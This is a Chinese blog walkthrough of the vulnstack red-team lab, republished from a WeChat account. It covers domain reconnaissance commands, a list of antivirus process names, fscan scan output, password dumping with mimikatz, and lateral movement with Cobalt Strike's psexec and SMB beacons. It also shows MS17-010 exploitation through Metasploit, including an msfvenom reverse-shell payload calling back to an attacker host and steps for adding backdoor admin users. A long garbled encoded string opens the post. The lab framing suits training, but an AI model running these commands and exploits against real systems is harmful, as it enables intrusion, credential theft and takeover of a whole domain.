思路梳理剖析&手法具现可视化实验&红日ATT&CK实战系列 红队实战(一) 之下海摸鱼
2023-2-2 08:5:8 Author: 猫哥的秋刀鱼回忆录(查看原文) 阅读量:25 收藏

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,猫哥的秋刀鱼回忆录及文章作者不为此承担任何责任。猫哥的秋刀鱼回忆录公众号均不发表带有原创标志的文章,转载请附带公众号出处!此篇为红日安全vulnstack-ATT&CK实战系列 红队实战(一)靶场训练,旨在将攻击手段可视化,流程化,具现化。帮助新手检测Web信息收集,漏洞搜索与利用以及Getshell技巧能力是否达标。并且需要认知内网渗透信息收集与攻击姿势,掌握横向移动技术与通道的构建,并实现持久控制。

前言

hO2wpFYBDH3NjG2ZrPZ6mS50QYN0Fr30PoVVPr3GAbVgFYl3R2x7Eax1GZ3nhIX7kH2xmFLF8PZdjGH2hNkdcIXF4H2xWFLFGGXRjHL2nEZ6pGal5FKFXIYVOhQ2spHb3EGHBjG2ZcMZ6lKaV6BIN0IokrQJ7VQ0p4Gpd60aVCMHB6IolGHIJkhEYZCAo7AHpdCN2VjQ3RHGY6nGYlOH33VBrF4QYtDHoZcJXVJYl3PqVbGnFOhBJ3kGX28O2VkGaBHH3dmGn70BJ3lGaF4QY7OHoZsNIhNEYF8GpNoHIUnNIZjhIb39MJctHIdGAIRiAopHGLV0Ha7OCEdcEb3GN2p8FHV9MIt6Gax4JoJlAqB9hKI72C5-YAINmGYhDGJ7iGYZ0F2d9JbFHH37BFL-0FYpWKYF6Goto0YF8QWpMEHognQ2xAKXJGGYt8C4pbC+++

内网漫游

内网渗透实际上很难用比较通俗易懂的语言来阐述清楚,可能对于绝大多数的人来说,内网渗透基本就是摸着MSF+CS慢慢操作过来的,很难有系统的指定行为。内网渗透-工作组的这种形式,实际上就是单一爆破+口令抓取之类的,如果涉及到域网络,可能就会涉及到Kerbers&NTLM认证&PTH hash传递攻击&票据攻击等等,万变不离其宗,一切的开始都是照猫画虎,来跟着操作一遍,再去补内网知识!

重绘网络拓扑

做到心里有数即可

思路具现可视

上线多人运动

通过蚁剑把马子扔上去,通过命令行执行,成功上线

调低心跳值,自己的内网且没有杀软就设置为0s,方便测试,真实环境请不要设置这么低

域内信息收集

信息收集自然是灵魂所在,在这里新手可以巩固常见的命令,熟练后即可使用插件一步登天。

shell ipconfig /all
shell net view
shell net view /domain
shell net time /domain
shell net config workstation
shell wmic useraccount get /all
shell net user /domain
shell whoami
shell hostname
shell net user
shell net localgroup administrators
shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
shell systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
shell tasklist
shell tasklist /svc

命令太多了就不截图了,也不能一一举例出来,直接梭哈整理看文档还是比较便捷

注重一下如果存在杀软,要把进程挑出去对比一下

shell tasklist /svc

常见的杀软进程:

进程名软件
360sd.exe360 杀毒
360tray.exe360 实时保护
ZhuDongFangYu.exe360 主动防御
KSafeTray.exe金山卫士
SafeDogUpdateCenter.exe安全狗
McAfeeMcShield.exe
egui.exeNOD32
AVP.exe卡巴斯基
avguard.exe小红伞
bdagent.exeBitDefender

确定域内用户角色

shell net time /domain

若能够执行,说明此台机器在域中

shell wmic useraccount get /all

获取域内用户的详细信息,用户名,描述信息,SID 域名

shell nslookup god.org  

解析域名服务器

shell net group "domain computers" /domain

查看所有域成员计算机列表

net group "domain admins" /domain

查看域管理员

回味的够了,手工适可而止就行,直接一键收集后下载出来,然后分析分析就可以了。

Laodon插件直接扫内网存活主机探测/系统/端口,也可以用自带的net view查看域信息

接下来把Win-7这台机子提权至system权限:如果权限不够可以提权,自带提权或者使用额外的提权插件。这里使用ms14-058进行提权

然后老操作了,把fscan丢上去扫这个带着双网卡的机器

[*] Tasked beacon to run: fscan.exe -h 192.168.52.1/24 -o out.txt
[+] host called home, sent: 57 bytes
[+] received output:

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.1
start infoscan
(icmp) Target 192.168.52.143  is alive
(icmp) Target 192.168.52.141  is alive
(icmp) Target 192.168.52.138  is alive
[*] Icmp alive hosts len is: 3
192.168.52.138:139 open
192.168.52.141:139 open
192.168.52.138:88 open
192.168.52.143:139 open
192.168.52.143:3306 open
192.168.52.138:445 open
192.168.52.143:445 open
192.168.52.138:135 open
192.168.52.141:135 open
192.168.52.143:135 open
192.168.52.138:80 open
192.168.52.143:80 open
192.168.52.141:21 open
192.168.52.141:8099 open
192.168.52.141:8098 open
192.168.52.141:7002 open
192.168.52.141:7001 open
192.168.52.141:445 open

[+] received output:
[*] alive ports len is: 18
start vulscan
[+] NetInfo:
[*]192.168.52.143
   [->]stu1
   [->]192.168.52.143
   [->]192.168.92.128
   [->]169.254.129.186
[+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] NetInfo:
[*]192.168.52.138
   [->]owa
   [->]192.168.52.138
[*] 192.168.52.143       GOD\STU1              Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] 192.168.52.138 [+]DC GOD\OWA               Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] 192.168.52.141       __MSBROWSE__\SNTL_ROOT-TVI86   
[+] NetInfo:
[*]192.168.52.141
   [->]root-tvi862ubeh
   [->]192.168.52.141
[*] WebTitle:http://192.168.52.141:7002 code:200 len:2632   title:Sentinel Keys License Monitor
[*] WebTitle:http://192.168.52.138     code:200 len:689    title:IIS7
[+] 192.168.52.141 MS17-010 (Windows Server 2003 3790)
[+] ftp://192.168.52.141:21:anonymous 
[*] WebTitle:https://192.168.52.141:8098 code:401 len:1656   title:You are not authorized to view this page
[*] WebTitle:http://192.168.52.141:8099 code:403 len:1409   title:The page must be viewed over a secure channel

[+] received output:
[*] WebTitle:http://192.168.52.143     code:200 len:14749  title:phpStudy 鎺㈤拡 2014

[+] received output:
宸插畬鎴� 18/18
[*] 鎵弿缁撴潫,鑰楁椂: 25.6467491s

拿到的如果是是管理员权限,就可以先抓一波密码:hashdump读内存密码,用 mimikatz读注册表密码

查看抓取的密码

探测差不多就可以使用BloodHound来分析攻击路径

凭证横向渗透

这个靶机比较简单,因为我们抓到密码后,因为抓到了域控登陆的凭证,那么就可以使用psexec横向内网所有机器。因为另外两台内网的机器不出网,我们到这一步就是去练习如何打不出网的机器。不出网机器上线一般有以下几种方式:

  • 使用SMB beacon
  • 配置listener通过HTTP代理上线
  • 使用pystinger搭建socks4代理

所以我们需要CS去派生一个smb beacon。让内网的主机去连接到能与我们连接的win-7上,怎么说?SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。说白了就是我直接派生一个孩子,通过这个孩子来进一步盗取内网主机的hash,或者在已有的 beacon上创建监听,用来作为跳板进行内网穿透,但是前提是能够通过shell之类访问到内网其他主机。我们首先要得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线

  • 具有 SMB Beacon 的主机必须接受 445 端口上的连接
  • 只能链接由同一个 Cobalt Strike 实例管理的 Beacon
  • 利用这种 beacon 横移必须拥有具有管理员权限的凭据

首先建立smb的监听

使用psexec进行横向移动,选择现有的beacon(或着派生一个子会话也可以)作为跳板这里凭据拥有目标主机管理员权限,我们直接拿SYSTEM权限来演示,我们在前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息,先选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块:

无非就是执行了这些命令:

beacon> rev2self
[*] Tasked beacon to revert token
beacon> make_token GOD.ORG\Administrator [email protected]
[*] Tasked beacon to create a token for GOD.ORG\Administrator
beacon> jump psexec ROOT-TVI862UBEH smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_f6) on ROOT-TVI862UBEH via Service Control Manager (\\ROOT-TVI862UBEH\ADMIN$\61650fc.exe)

我们便拿下了域内成员的主机

值得一提的是,可以看到smb beacon上线的主机右侧有∞∞标识,使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。

如法炮制拿下域控主机即可

最终的拓扑图如下:

这会你再回头看一眼这个是不是一毛一样

令牌窃取横向

其实除了直接使用我们获取到的 hash 值/明文密码,也可以通过直接窃取 GOD\Administrator的token来登录其他主机

选择GOD\Administratortoken盗取:

一样的操作,在选择令牌处勾选使用当前token即可:

基本流程就是:利用MySQL日志写shell或者CMS的漏洞去Getshell轻松拿下Web服务器,再利用Web服务器作为跳板,去横向收集域内主机信息,并利用窃取的凭证横向移动到其他主机,最终实现整个域的控制。

不出网打法思考

我们刚开始好像丢上去了一个fscan做了个大保健,记得用完删除。

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\  

既然有MS17-010,我们就可以想办法打一下,常见的有Ladon插件,CS插件,MSF。一般来说MSF是最稳定的,其他插件在这种不出网且网络不稳定的情况下成功率会变的很低。打成功后,直接新建一个用户并加入管理员组,开启3389端口。根据实际情况考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,可能就会在桌面翻到所谓的老婆本。

MS17-010

我先开一下我的Kali,首先,让出网机器先在MSF上线,可以用cs直接传递会话,或者生成个MSF马直接运行一下,方法就很多了。

我们选择CS派生Shell给MSF,我在192.168.92.134这台机器上建立监听

然后CS创建外部监听器

这时候碰到了一个问题:当我把cs的shell传给MSF的时候一直显示如下

算了,可能是有点问题。直接用MSF生成个马丢上去吧

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f exe -o ma.exe

监听一下:

handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 4444

直接在CS上丢上去

可以看到传回一个session

MSF中抓hash和盗取令牌我就不说了,我们直接来横向移动就行

存在52这个不出网的段,那么就需要在MSF中添加路由

查看路由

run get_local_subnets

添加路由

run autoroute -s 192.168.52.0/24

查看添加的路由

run autoroute -p

直接切回会话设置一下目标IP和线程即可开扫

use auxiliary/scanner/smb/smb_ms17_010

记得设置线程!我们是在做实验,不然真的慢

可以看结果

怎么打?怎么选择EXP?多次尝试之后只有两个成功。其他的exp都会打蓝屏或者打重启了。分别为:

auxiliary/admin/smb/ms17010command
exploit/windows/smb/ms17010psexec

这两个模块需要目标去开启命名管道,比较稳定,在打时,不妨使用第一个模块探测一下是否可以使用命名管道。

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138 192.168.52.143
set command tasklist
show options
run

如果命令执行成功的话就可以优先考虑

auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_psexec

目标机器没有杀软就直接使用exploit/windows/smb/ms17_010_eternalblue打的话出现的问题就是蓝屏/重启/崩溃

如果有杀软直接放弃这个,因为两台机器不出网,监听时使用正向监听,直接run即可拿下

用第一个辅助模块去开3389,创建用户即可,另一台机器同理

总结

外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个smb beacon然后使用psexec对内网两台不出网的机器进行横向。学习内网不出网机器如何上线?使用多种方法打内网中不出网的ms17-010以及在打ms17-010时注意所要注意的细节。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247498563&idx=1&sn=7c5195b7d8546d4d1740ea8e29d03d33&chksm=c3056ec4f472e7d2f11e49f514bfd7b1e6fdce57f98023ef7f3da454ae3fdf2b226f31fce178#rd
如有侵权请联系:admin#unsafe.sh